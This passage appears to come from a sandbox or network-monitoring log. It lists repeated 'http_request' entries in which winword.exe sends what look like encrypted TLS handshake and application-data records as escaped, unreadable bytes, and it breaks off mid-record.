                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x02q\\x91\\x11\\\\xbe+\\xeb\\xb7y\\xdfe\\xb0\\xe6v\\xc4*\\xd2\\xaej\\x8f\\xac\\x07\\x88\\x06\\xf3\\x15w\\xf8f\\x05\\xc3\\xca#\\xb7\\xe4\\x97\\x90\\xa0\\xd5u\\xa6*\\x17;s\\xe5kg\\xa8\\xd3 \\x11\\xbf\\xa5x\\xd7\\xc8\\xc8\\xb3x\\xa9\\x1d\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x88\\x82b\\xdb\\x16\\xe1\\x98j\\x00~\\x0b\\xf0\\xec\\xee\"\\xf5m\r\\xf5\\xf0\\x90\\x96\\x7f\\x06g\\x03k\\xfb'\\x7f@\\x18\\xabw\\x8e\\xae\\xb7\\x07\\x10\\x14\\x04^\\xea\\x15\\xb7\\xa4w\\xf4"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa3r'=0xx\\x11\\xc4b$~\\x7f\\xbest\\x11\\xa6\\xec\\x07\\xbf\\xc6`\\x91\\xb8g\\x8a\\xda\\xfc$\\xb5<\\x80\\xd7\\xf0~\\x9b\\xf9\\x9a\\xb9\\xc6\\x90\\xbf\\x14\\x1748\\x95,w\\xf1u\\xf5h\\xa35\\xfa\\xbc-\\xacz\\x06n\\xc4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000`\\xff\\x10\\xee==\\r\\xe8o\\xd4\\xbdr\\xc57\\xf3,\\x80.\\xd8b\\xd8z\\xd1\\x9a6d\\xe9\\xf0!j\\xf4\\xb3\\xd7\\xce6f8\\xc7\\x11\\x8b\\xa04//9\\xb4"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x048&\\x0b\\xfb2\\xe2\\xf7\\xc8\\xf7.\\xf9vy\\x06\\xbf?o\\xdd\\x82\\x01\\x84\\x9d \\x9f\\xb4\\xe1\\x87\\x93-\\xa4\\xb4\\x81\\xb0\\xdd\\xe9\\x9c\\x83l\\xe8\\xd7\\xb2\\xe0k\\x99qz\\xae\\x91\\xca\\x0b0\\x8di\\xb3\\xd0x\\xdc\\x1e\\xc5\\xf8\\xd6\\xbb\\xc2`\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8f\\xea\\xcc\\xe8\\x08f,j`\\xe5\\xcb\\x14\\x8cz\\x86\\xcf\\xe3\\xce\\xd2\\xf8s\\x0bq=-r3\\xa3\\xd6\\x01~\\xe9\\xd2\"\\xbadr\\x92\\xf9\\xd1\\x05t\\x84q\\xaf\\x9f\\xd4"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0b\\xd2\\x16\\xd0\\xbc\\xe5\\xf3\\xa3\\xadga\\xb0\\xd9u\\xf8)\\xf2\\xd4\\xc9\\x89\\x8f\\xfb\\x9f\\x9d\tp\\xc2\\xc9+\\xa4%\\x90\\xe2\\xb1\\x13\\x16x\\x8b>\\x81e\\x08\\xa0\\x8a\n\r\\xc5\\x0e\\x11v\\x18\\xde\\x8cm\\x0e\\x83\\xe7\\xdf\\xe5p\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0006x\\xee\\xb4\\x98c\\x18i\\x1by\\x01\\x1e\\xb60\\xe7\\x0ei@\\xb5\\xe2\\x91\\xd0?\\x17\\x98k\\x04\\x03v\\xfa\\x17\\x11\\xafc\\xbe4\\xb4\\x8c\\x13<\\\\x17q\\xa3\\x0e\r\\x1e\\x8f"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04m\\xaa\n\\xb3\\xe8\\x83\\x85\\xf0qg\\xe65t\\xc6nk\\x90+\\xca9i\\xa8\\x8e\\xd5\\xacms\\xe1x\\xdf\\xb1kb\\xd5\\x1d\\xd5\\xed^?\\xa1t\\xe3\\xe0\\x18\\x02\\xf7\\xf7\\xe73m\\x80,\\\\xc1\\x12\\x10\\xab\\x08\\xbd\\xa7r\\xa6s\\x9b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd2\\xbc\\x01\\x9agd\\xf5\\x8b\\x08\"&\\xb3@\\xbc\\x8b\\xaf\\x01\\xce\\x1fgzf\\xef(\\x8e\\xc4q!\"\\xb7h\\xfa\\x97\\xd4.\\xb5\\xf7\\xe8\\xb40\\xf88l\\xfb\\xe5\\xc9\\xad\\x03"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x041\t\\xdd\\x80\\xdf\\xf9%\\x07\\xe2\\xf5\\xb5\\xec\\x97\\xc9\\xdfk\\xdf\\xf4\\x8c\\xf3\\xf1c\\xeb\\xaaf\\x1e+\\xcb\\xc7\\xcb\\xe5i&\\xba\\x1ez\\xbat(_\\xff\\x9f\\xcb\\xdb)l!\\xda|\\xa0\\xe7\\xcc\\x14\\x9a\\x96m\\xcc\\x82\\x99\\x8d\\xe0\\xb6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbf\\x11h\\x9f\\xdc\\xe1w\\x1d\\xaa/c\\x8ch\\xbd\\x91ggi\\xa9\\x94t\\xd4x\\x97\\xcd\\x92o\\x07\\xcbm\\xb2\\x19\\xf9e<\\x9ad\\xedr\\xc0\\xb6\\xe1\\xbe\\x1a\\x80\\xb1\\x19"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb9j\\xcd\\x92s\\xf9(i\\x91'\\xd4\\x10*\\x11\\xcdu8\\xa0^\\xe5\\xd2\\x1a98\\xe0\\xd6\\xe0\\x9b\\x9e+\\x13\\xde\\x81\\xc1\\x05\\x93&f\\xbb\\x97\\xf0\\xda\\xaf/\\xec\\xfa\\xceb\\x913\\x89$o\\x9ap\\xf0\\xe9u\\xd4<n\\xf7b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x05\\xb9\\xadq#\\xbd\\xe6\\xa6\\xfc\\xear\\xb0\"\\x97#\\x10\\x19\\xf0\\x0b&\\x11b\\xc0\\xc9\\xfc\\x0b\\xd4\\x8a\\xb4\"fx\\x8c\\xc2\\xf5\\x9e\\xc3\\x93\\x91\\x0e\\xaa\\xc5\\xfd\\x81\\x11\\xc0"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04/\\x7fg\\x07l%\\x1f\\xd4\\xe1\\xf8\\xf3'w\\xa1q\\xec\\xd9\\xd8;\\xf0 \\x14\\x87\\xf6e\\x02\\xfd\\xe0\\xda\\x1er\\xd7\\x12\\xdc\\x1c\\x9d\\x06\\xb7'\\x89\\xb1d\"\\xb0\\xd9\\x8b\\x9c\\xad/`\\x8d\\xd2\\xb2-hc9\\xf8\\x8e\\x07\\xf9\\xa0\\xd0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd9\\x8f\\xa4\\x04m6\\xbc\\xb3:\r:\\x06\\xb1\\x97\\xa2\\xf6\\x1b>\\xb56\r\\xd3\\x84l3(\\xfd\\xd9\\x9a\\xb4\\xdc\r7\\xa8j\\xdf\"\"\\xc6l\\xb49m9r\\x96\\xb1\\xdb"


                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1d&wx;\\x16\t\\x96y<?\\xb4\\x01\\xc9\\x04\\xf5\\xf35\nf\\x03\\xc1\\xdd\\xa6\\xae\\xab\\xfc\\xb8\\x16\\x1d\\xcd\\x93*\\x7f\\xd3|\\x0cd\\xd0\\x12\\xc2\\xfe\\x94\\x8c\\xf3q\\x0br\\x8f3q\\x15:\\xf6\\x0e\\x88\\xe6\\xbc\\xb1\\x92/\\x9f\\x7f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x83\\xc1\\xa9\\xcf\\xbb\\xaayz\\xc7\\xbe\\xdb\\xbao!\\xd4\\x80\n\\xd2\\xb0r\\xea\\xfd\\xa3\\xf5\\xed\\xe4\\xd3\\x0b\"\\xc8\\xe7\\x82\\xe4\\x11@\\x053`\\x0e<\\x98p\\x8ff\\xe9\\xc1\\xfc"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9c\\xd3\\xef\\x81\\xb6\\xc7\\xcc\\xe2\\xccw\\x89\\xa8k\\x11\\x08\\x9a/e\\xb2\\xe0g\\xd5\\x14g`\\x13|\\xb77me\\x930k\\xbe\\q\\x91i\\xe4\\xe25c\\x9c=\\xec\\xef\\xc2p&\\xaa\\xa9\\xbc\\x9a\\x8f\\xfc\\xff\\xe4\\xbf\\x8b\\x98\\x93\\xe9\\xd4\\x18q\\xc0\\xe4\\xaa\\xd4'\\xea\\xbd\\x03\\x11r\\xcdgc\\x8d\\x05\\xc3\\x12\\x02\\xd4f^\\xbft\\x13\\x1d\\xe3\\xeb\\xff\\x9bajn\\xf43\\xf4\\x94\\xd0\\x07\\xe2\\x01\\xe4nahe\\xb2\\x86\\x9e\\x03\\xc7\\x04|6\\xfc\\x113\\x9bm\\xd5vy\\x8e\\x14\\xb1\\x84\\xb1\\x04c\\x06\\xae\\xbb\\xf5\\x03o&\\xb1a\\x1e\\xd0j\\xb0\\x1e\\xfc_4\\xc0\\xa1\\xfd\\x15g\\x8c\\xc7\\xe7\\x96\\x97f:\\xf1j\\xb2\\x18\\xb5\\x9f//\\xa4\\xa8\\xb16\\x07\\xe0\\xdd\\xe8 j\\xda\\x83l\\xd2g\\xb4\\xcc@\\xaf|\\x99\\xf4?\\x08\\x82\n\\xe3\\xad\\x9fl\\xfe.\\xbc\t\\xac\\x16&f\\x80\\xbe\\xd6\\x15\\x05\\x91x\\xcf\\xa2y.\\xca\"v\\x98\\xa7\\xcdi\\x1a\\xb3v\\x81\\x8d\\x81\\xba+x\\xc6i\\xb5\\x01\\x9b\\x80\\xdc\\xf2\\xd2\\xe6"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010z\\xcc\\xb8\\x02\\xe0n\\xc9v\\x00\\x97/o\\xcb\"\\xfd\\x8b\\xfd\\xbd)\\x8a|\\x01\\xec\\xaf\\x87\\xc1\\xa3b\\xf7\\xdb\\x99v\\xef\\xde/\\xb8'\\xadm\\xe0`\\xf3:\\x8at\r\\x9d(!^\\x932<rl\\x1f\\xcc\\xa1\\x01\\xda\\xf5\\xf7:i\\xcf@\\xff\\x1f\\x95\\x03\\xb4\\xd5/\\xb7\\xd1\\xac\\xcd\\xf5(:\\x87\\xc6\\xc8\\xfc3d\\x15k\\xfd\\xf0z\\xda\\xbc\\xa4\\xd1o\\x9e\\xbc\\x99)\\xf8!\\x9ac\\xfec\\xa6^\\xed\\x19\\xc8q;\\xeb\\x0er\\xd9\\x8a\\x1b\\xafd_\\x9bp\\x91\\xe1%\\xaa\\xcbu\\xa5\\xfa\\xfe\\xa0)\\xab\\xe1\\x18\\x0er\\xe8)\\xcc\\x0e\\x96w\\xad\\xde\\x8a\\xc0\\xc6\\x8e6\\x1b\\x15\\xc5\\x0f\\xae\\xdd\\xfe\\x8c\\xd0\\xa0_1\\x00\\x8e\\xc9\\xbfw\\x04\\x10\\xee\\x07\\xb1\\xf69h\\xfc\\xe0b=\\xe5r\\x8dy6\\x9b\\x8f\\xb2\\x8dl$t\\xf8\\x86\\xd5_\\xa2s\\xc9x\\xeax\\xb54\\x87\\xea\\xbb\\xc3\\xfa\\xa1\\xe4<\\xd5:\\x8c\\xd3\\xcf|\\xb1\\xbe\\xce\\x1e\\xb8\\x01\\xa2<\\xcfc7)n\\xaf\\x83\\xcb\\xfa\\xba,\\xe1\\xd9\\x921k\\x9az\\xbaz"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x87q\\x16\\xa4\\xc4\"\\xe3\t?%\\xdex\\x98p\\xdfi\\x91\\x16x\\xd4nc8\\xcd\\x8d;\\x16\\xe0\\x8c\\x11\\xf1\\x897\\x8e\\xd1\\xb3@\\xb2(\\xff\\xfc\\x14\\xbb\\xc8bp\\x05\\xe0m\\xe5\\xcai\\x8f\\x01\\x96\\xa4\\xeb`\\x85\\x0f\\xce\\xc3\\xb5\\xdb\\xd1\\xff\r\\x03,\\x0f\\x83:\\x94\\x11\\x9cp\\xe4\\xbc\\xca\\xe8\"k\\x12\\xe0c\\xbby9@\\xfdwx\\xfe\\xf1\n5\\x1c\\xab&2~|k\\xb8\\xcb\\xf1\\xf6\\x0f\\x9f\t\\x0f\\xb3\\xcd!\\xc4\\xbd|\\x83\\\\xb3\\x94p\\x9ar\\xb4\\xb4\\xaa=\\x8d\\xb5\\xeefk\\xa8c>\\xe7\\xe8\\xa3\\xd8o\\xe8\\x95g\\xc5j\\xdf\\xe6'bkt\\xdc\\xe8\\x01\\x94\\xd8\\x16@r\\xc6l\\xa6\\xdcm\\xbe\\xebiy\\xc7x\\xdd\\xe3\\xed/y\\xc6\\x14\\x00l\\xa3\\xc5\\xce0\\xf9ou\\xde^d\\x84\\xde6a\\xed\\x19v\\xea\\xd7\\x04\\x8e(\\xb1\\xc1b'u\\xd0\\x14\\xc0o\\x0c26\\xa887qm\\xc3\\x19>\\x9c\\x00b\\x8f\\x00k#\\x08l\\x99\\x17\\xba\\xc5\\x04\\x7foo`\\x17\nh\\x0b,\\x00\\xf7"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010v$\\xd0\\xf1\\x1d\\xe1\\x1fu\\xefkh\\xdb\\xe7\\x7fs\\xf0#\\xf1\\x95\\x05\\xea\\x01\\x96\\xdaf\\xf9i-\\xad\\x8a\\xdf\\xa6!\\x17\\xee\\xc4\\x96n\\xc1\\x9d\\xd9\\xeac\\x8c\\x8e\\xba\\x9c\\xbc g\\x9c\\x04\\xd8r \\xb5\\x10\\xd5$#\\xe70:\\x97\\x93x\\xf1\\x0bjh\\x06\\xd4\\xbd\\xde&~\\x94\\xe3\\xb8\\xe6rj\\xbc;v<y.\\xd97s\\xa6\\x82\\xe1z\\xcd\\xac\\x85!\\x9e\\x1c\\x9110f\\x82\\xdd\\xfe#j\\xb9\\xb5\\x87\\x11/kg\\xcc\\xb8v\\xa4\\xbdv\\xc6\\x0e\rwv\\xaf\\xb2\\xd6x\\x7f\\x9b%s\\xb1v\\xb7\\xbcb\\xa7\\xeeb\\x14\\x9fi\\x11\\xbe)ioa\\xd70\\xd7\\xe6\nq\\xa3y\\xbe\\xf6\\xdbh0\\xa8:\\xddx\\xfa\\xb7\r\\xfb\\x86\\x81\\xd3\\xae\\x1b\\x12$k\\xce\\x9c\\xc3\\xbf1\\x1e\\x19&\\x02\\x80\\xda'?\\x88\\x19#\\xbe\\xcck@\\x9e\\x84qj\\x0f\\x87\\xde\\xcf\r\\xb9\\xc9e\\xd3\\xa0\\xf0\\x85a\\xb7\\x94\\x03\\xaf\\xdd\\x9f\\xcf\\xac\\xadn\\x96\\x02\\xaa\\x9f\\xee\\xda\\x1b\\xea$<\\x18z\\xf8x\\xf8$ig\\xc7\\xb8\\xb5z"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xae\\xa4v\\xc1\\xf4\n\\x04zph\\xaff\\xec\\xf04\\xa8\\xa7\\xb1e\\x02\\x17\\xc5\\x93\\xc1o \\x8e\\x9c\\x9a\\xf4\\xb2\\x97d/\\xca\\x9f\\xe1p\\xae4\\xf8z`\\xef\\x9f\\xcb\\x9e\\xec\\xcc%\\xcd\\x93\\xdd\\xa4z\\xea\\xfd%~f\\xa2\\x83sg+\\xb7 4>f\\x83w\\xc9!\\x90d\\xbb1n\\x1d\\xc8\\x12\\xc7\\x12o\\xd4yt_\\xe6\\xe1\\x05\\xeayy\\xce\\xb0n\\xbd\\x864\\xa2\\xb3\\x90\\x97p\\xbd\\xe6kg\\x05k\\xf9\\xa2;\\x07\\xa7\\xe1!?\\xe1s\\xf9\\xa6\\x8c\\xc9\\x97\\x9e\\x1e\\xfc\\xfe\\xfb\\xdf\\x840\\xcf\\xfd2\\x07\\x9d!f\\xa3\\x1fnr7\\x1f:*\\xe9e\\xf3\\xc3\\x9b$\\x04\\xaf\\x04\\xe9zd\\x03\\x7f1\\x969\\x97\\xc7.\\xb2\\xcf\\xfe\\xfdu\\x02\\xcf\\xc4\\xab>\\xd3s\\xbc\\xa2@\\xf4l\\\\x7f^;6kh\\xa2_\\xdb\\x15\\x1e5\\xfe\\xe3\\xfa\\x1a\\xf7u\\xee\\x8d\\xb0\\xd0\\x92\\x04\\x8e\\x81\\x1aorfl\\x8fc3\\xe3\\x03\\xe3n\\x91\\xef\\x05\\x1a\\xa9\\xfce\\xcf\\xacy6\\x1ce\\x03\\x1e\\xba\\xdb\\xfc\\x07\\x91\\xdb"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x82h\\xe4&\\xec?/\\x92u:$\\x9fj\\x8cm\\xee>|e\\xdf\\xa0\\xd8|\\x18\\x0e\\xa0m\\x84\\xef*\\xfa\\xdf\\xba\\xf9`y\\xae\\xef\\x05\\x1d\\xec\\xdf\\xd9\\x81uu\r^ne:e<\\xa1 \\x88\\xca\\xe5\\x07\\xb7w\\xde\\x9d\\xfa\nd\\xdaj-\\x86zc\\xfcg\\x08\\x8c\\xb7\\x178\\xa3\\xe7o\\xca\\x1e\\xc9\\xe2\\xa3\\xe6\\x80\\xaf\\xd6e\\x00\\xec\\x88\\x85\\xcf\\x1b%-,ue\\xd9\\xbd e\\xc1#\\x0b\\x0f\\xba.\\xba\\x00\\x97\\xc2\\x1c\\xd5\\xf8\\xc3d\\x13\\xcfmgn\\xaew\\x833\\xa7t\\xc2'-l\\x8f\\xf0\\xed\\xf7\\xed\\x04\\x9f\\xad=\\xa7g!\\xb2\\xf6\\xdd\\xb8\\x16\\xa8\\xee.e\\xa3\\xb4\\x06l6,&\\x00v\\xb2|\\xdf\\xc4\\x0f\\xae\\xe9<\\xfd\\x83\\x1at\\xden\"\\x9d\\x88\\xf4\\xf1\\xcd\\xe5\\x96\\xb4f\n\\xc5a\\x9c\\xcav#2q/eqa\\x98\\xd1\\xe8\\x0exljt\\xf7~\\x95y\\x8d\\xba9\\xcf\\xa0\\x12\\x08\\x13\\xd3\\xa1+\\x94\\x96x\\xe5\t\\xe1\\xf0\\x12\\xd3\\x97\"\\xd4g6w\\xb2\\xe1s"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd4\\x9c\\xa5l\\xb6\"t\\xdf\\x7fj\\xc0\\x87\\xbb\\x80q\\xd7oc\\x9e\\xa3\\xcf\\x97\\x93\\xce\\xad\\xdaa\\x00\\xc5|u\\xafp\\x03k6\\xe4\\x97\\xe6\\xb2\\x8a\\x99\\xccx\\xa2\\x14k<t\\xe3j\\xf8\\xae\\x7f\\x154k\\xc7bnv\\x7f\\x88m\\xcbu\\xa2\\xb5\\xfa\\xfdq\\x19f\\xad\\xb2\\x13\\x96\\xae\\xba\\xc8\\xca\\xe4\\x12\\x9f\\xea\\xfe\\xda\\x95;\\x87x\\xeb\\xb6b/h \\x922\\xb8\\xcd\\xb8x\\x81\\xcd\\xe9\\xbe\\xe1\\xc5\\xc2b\\xe1t\\xac\\x9d\\xa9\\xe0kk\\x0e\\xd5\\x15n\\xc8\\xa9`q\\xb3\\x9b-\\xda+\\xcf\\x8c%r0u\\x8c\\x8b\\xfbn\\xfbqv\\xd6\\xcf\\xf2#\\xc9+\\x1b\\\\x08kf4\\xc6?9\\xb8n\\xc6;\\x90\\x10\\x8d1\\xc5\\x8c\\x8d\\x81a8\\xd0\\x9f\\x94\\xf3)bu\\x99\\xd1\\xe8\\xdb\\xe7\\xb0\\xfc\\xc7\\x7f\\x1d\\x0c5\\xc6\\xe7q%\\x8e\\xbe\\xac\\x07h\\x1a\\xa7\\xb4\\xc0w\\xac\\x04\\x9be<c\\x95d\\x8b)?\\x88\\xc4\\xa1\\xc4\\xe5\\x12t\\xf4\\xb7\\x83\\,w\\x1c5\\x8c\\xa2.cc5:\\xe3\\xf9\\xc2\\x92\\x10\\x16\\xef_\\xd8"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x87\\xc8\\xce68\\xf2\\xa0w\\x00\\xe9\\x9a\\xef\\x88\\xc7\\x93\\xfb\\xc6\\x9a\\xc1\\xdf\\xbd\\x0e\\xd6\\x84+a\\xc7\\xf5\\xe2\\x9c\\xbc<6\\xd1\\x83@c\\xa9\\x86 5g\\x98\\xdd\\xd3a@;zg\\xdcw5\\xd7h\\x86\\x18\\x8b\\x94\\xe4p^m;\\xbfi\\x87a\\xd7\\xae\\x1a\\\\xac\\x0e\\x00\\xede\\xb1\\xcc:wci\\xeb?\\x0c\\xc2wk\\xab\\x1d\\x15\\x8a\\xf6\\x90\\xaf\\xa2~a\\xf8\\xd4\\xd0m\\x1e\\x9a%\r\\xad5.~\\x86im>\\x16\\xfc\\xe9h\\xeev\\xb5\\xcd3\\xe3\\xe2\\xe7\\xd6x\\xc3\\xf0\\x11\n\\x97\\xcf7\\xab\\x87\\x1a\\x06\\x16\\xdf\\xb0)a\\xe7\\xf6\\x82\\xe1\\x81\\x9bbc\\xdb\\x81\\x04\\xbf\\xe7\\x87z\\xb2\\xa4\\x00\\xd4\\xb2\\x01\\xd2y\\x02\\xf6&z$\\x9d\\xec\\xd0\\xbb\\x96$\\xdda>\\x979\\xa8\\\\xa0\\xf2v\\xbd8\\xd4&v\\xbcdtd\\xbdd8\\xdez\\x96\\xeb\\xbb\\x19\\x8ae\\x0f\\xd0\\xb46\\xf4^\\xd8fd\\x90<\\xa1\\x94>\\xb9\\x19keuo\\xad\\x01_ak\\xe4\"\\x91:\\x13\\xaa\\xde\\x0e(\\xcf;"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0105\\x88i\\xe1\\x82\\xaa\\x15b\\x95.\\xf0x\\xc7c\\x819\\xa3t;>eb4#\\x9c\\xb31lc)\\xd3\\x047\\x9eg\\xac<_\\xd2\\xb4\\xe0o\\x12\\xe4\\x81\\xbd\\xb7\\xda\\xc8\\xa5\\x9c\\x91r\\x11\\xc4\\x93h\\xd2\\xd6\\x985\\x96h\\x8f0\\x1e\\x9fd\\xe8d\\x82\\xbd\\xd2\\xbd\n\r\\xd06\\xe5\\x01\\x82o\\xc8\\xd6\\x83\\x95\\x9e\\x9bi\\xe2~@4\\xa7\\xe0\\xdd\\xb5l\\xf0\\xb0\\xb7b\n\\x03\\xfc\\xfdqd\\x07\\xe7'(\\x02\\xc1,8\\xc7\\x80\\xd1n\\x94v^\\xd9\\xd2\\xd5\\xad\\xe2g\\xe8zg\\x92@9\\xae6\\xb3c\\x82\\x02\\xf3o\\x1e\tlj\\x15k\\x85|\\x99i\\xaf;\\x19\\xd4t\\xean\t\\xc1\\xfbo:\\xb5\\xabuh\\x9a\\xd0\\xdf\\x83\\xcc\\xb1\\xd8\\xa6i\\x07\\xa8i\\xcbbf\\xba\\x88\\xd7\\xe50w\\xbf\\x81\\x8e\\x8c\\x93>(\\x04\\xfc\\xab\\xc6\\x07\\x19\\xd6r?\\xb0\\x06+hs\\x82\\xe6=\\xc2\\xc5\\xb0\r\\xe3/\\x8al\\x12*w\\xb08\\x81\\xe5k\\xa6l\\x17(\\x8c\\xe1\\x82\\x12\\x10\\xe0\\x82\\xb7\\xfe(\\xc1\\xee\\xbbu"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb5\\xc1\\xbf\\xcbm\\xed\\xa4'&\\x7ft \\x08^\\xb1q\\xa7\\xf7la\\x831\\x96\\xbe\\x95\\xb4h>yl'\\xf8\\x92\\xbcj\\xbe\\xaf\\x0f\\xd4\\xb1d\\x86\\xc5.\\x8d9>t\\x13^\\xe1\\xcbp\\xed\\xe4`\\xa4n8\\x10\\xdb\\x15\\xb2a\\x11\"\\x1e36\\xa7\\xb3\\xf4\\xf6\\x99p\\xbf\\xc5\\xe2tso;\\xd8\\x05hi\\x1d\\x9d9\\x87)\\x8d\\x11~\\xda\\x04($ \\x81am\\xf1x\\xf1\\xb6\\x8e\\x02/,n=%\\xdb\\xcdu\\xa7\\xae\\xfdg\\xfc\\xb1)\\x0e\\xcf`\\xec\\xac\\xe1k\\xb0 7\\xe9e\\xf8\\x05\\xe1\\xeb\\xe7\\x1d\\xba\\xb0\\xd9fv\\xf99\\x86\\x04e\\xcf\\xfe\\x91\\xd2\\x9fs\\x95p.a\\xb9*\\xec5\\x17\\x9eg\\xc7a\\xd9tk\\x06\\x999+t\\x7fe\\xecp\\x82c\\x0e)\\xbb<5\\x81.\\x14z\\x18\\xec\\x7f\\x1f\\x80\\x90\\xbe\\xc8\\x9fnp\\xd7\\xcazi<\\x02cgc\\x89#\\xdf\"\r%y\\xf4\\xe5\\xa7\\x0b\\xd4f&\\x19\\xc2\\xe5\\xe7\\xab\\x1d\\x81\\xdd\t\\x13)\\xa1\\xb7q(\\x88k"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xfbbw\\x8ay7\\xf7\\xe8\\xdc\\xec\\x8cfg\\xca\\xf6\\x95\\xa2\\xcc\\x9c\\xf4%\\x92s\\x84\\xa5cu\\xf7\\xb0c\\xcf\\x0e\\xc7?3c\\xf7\\xd9\nt\\x8f\\xc7\\xf9\\xa9\\x04\\x0fd~\\xe0sl\\xcf\\x07\\xde\\xbch\\x8c\\xcc\\x11f\\x9at\\xb2\\x99\\xc1\\x80\\x13kb@2>\\xf3\\x80\\xab\\xc8w\\x13t\\xdc\\xdfj\\x9a#$\\xb1\\x07\\xd6h\\x1do\\xb1\\x97\\xee\\xa0\\xc2\\xc9rs\\xae\\xff\\x17\\xc3j\\xab\\xd8\\xff\\x98\\xaa\\xf5&f\\xf0\\\\xd4\\x04>\"\\x0fx=\\xb0\\xa6e+\\x08\\x93\\xe2\\x03\\xc7\\xcco\\xac;\\xebnp\\xf1$\\xf1x\\x03\\x16\\xcb,\\x12~d\\xd1c\\xc6\\xe7jao\\xe1\\x99\\x95:\\xe5\\xa0\\xfez\\xd4\\xcb\\xc0\\x91\\xd0\\x8a3w\\xf1\\x0b\\x1ba\\xc9\\xb4x\\xbez\\xf3\\x1e\\x89\\xdc\\x10\\xa8\\x19q\\xc3\\xf9\\x9f\\x1apc(z`\\xcb(\\xd8'\\xb0\\xd4\\xf9\\xb9w-\\x99%\\x92\\x1eai\\xbe.\\xf6t\\x9ay\\xb6\\x14i=g`\\xf2\\xd4\r\\x18\\xeb`=\\x91o\\xb2!\\xd2\\xf0\\x11\\x96c\\xd4\\x16"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\r\\xd6zk\\x9c\\xd2l\\xa3x\\xa4\\x1c\\xde\\xf0\\x06\\xb4\\x813c\\x11w\\xe4\\xd2\\x9a\\xc0\\xcb\\xb2\\xec\\xdd>\\xe0\\xfc\\x81n\\x12\\xaev\\x1ct?\\x8b^\\x07\\xe3\\xb2\\xde\\x84\\xc7\\xde\\xb1y\\x8a\\xe2/us\\xfb\\xe0\\xcen\\xa1\\xc3?t\\x9d\\xe3\\x15\\x1d\\xf7k\\xc2d\\xf4\\x0c\\xa6\\x02\\xcck\\xe4\\xd4\\xedgl*\\xec\\x03\\x04\\x18\r\\x9a*ytf\\x18'7\\x80hk\\xf9\\xfe&\\xce\\x7f\\xac\\xb6\\xd5\\x8d>f\\x9c\\xf2\\xcf\\xd3\\x00\\xe8\\x99\\xfe\\xa1k\\x1e\\x0f4\\xb9\\x0f/\\xb0\\xf9\\xde\\xe7\\xf7?\\x83l\\xf7\\x17\\x9a\\xc0r\\xf8w\\xf2\\x9c\\x10d\\xaa\\x1e\\x10nq\\xbb\\xc5\\x1f\\x14c\\xeb)\\xb9\\xdd\\xa0j\\xbb\\x165\\x7f\\x05\\xe3\\xae\\x00^-5\\xfc\\x82\\x01\\x17\\xe5\\x00\\xc2\\x11\\x0c7u\\xa2\\xf7\\x0b\\xc6\\xc0l\\x8f\\x990\\x98\\xe0pk\\x12*\\x1a4\\x18\ni\\xa4\\xf9q\\x98r\\xf3\\x9f\\xff&\\x84\\xd5\\xba\\x86\\xb6\\x8c\\xa2\\xad/\\x8b\\x83n\\x13<\\xadg\\xd0\\xf5e\\xfd\\xcb8\\x9b\\xfc\\x0b\\x8f\n\\xf4\\x9c\\x01\\xf2\\x10\\xc8"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x7f\\xaa?\\x14g\\x81e \\x07\\xa4\\xa8\\x14\\x99e1 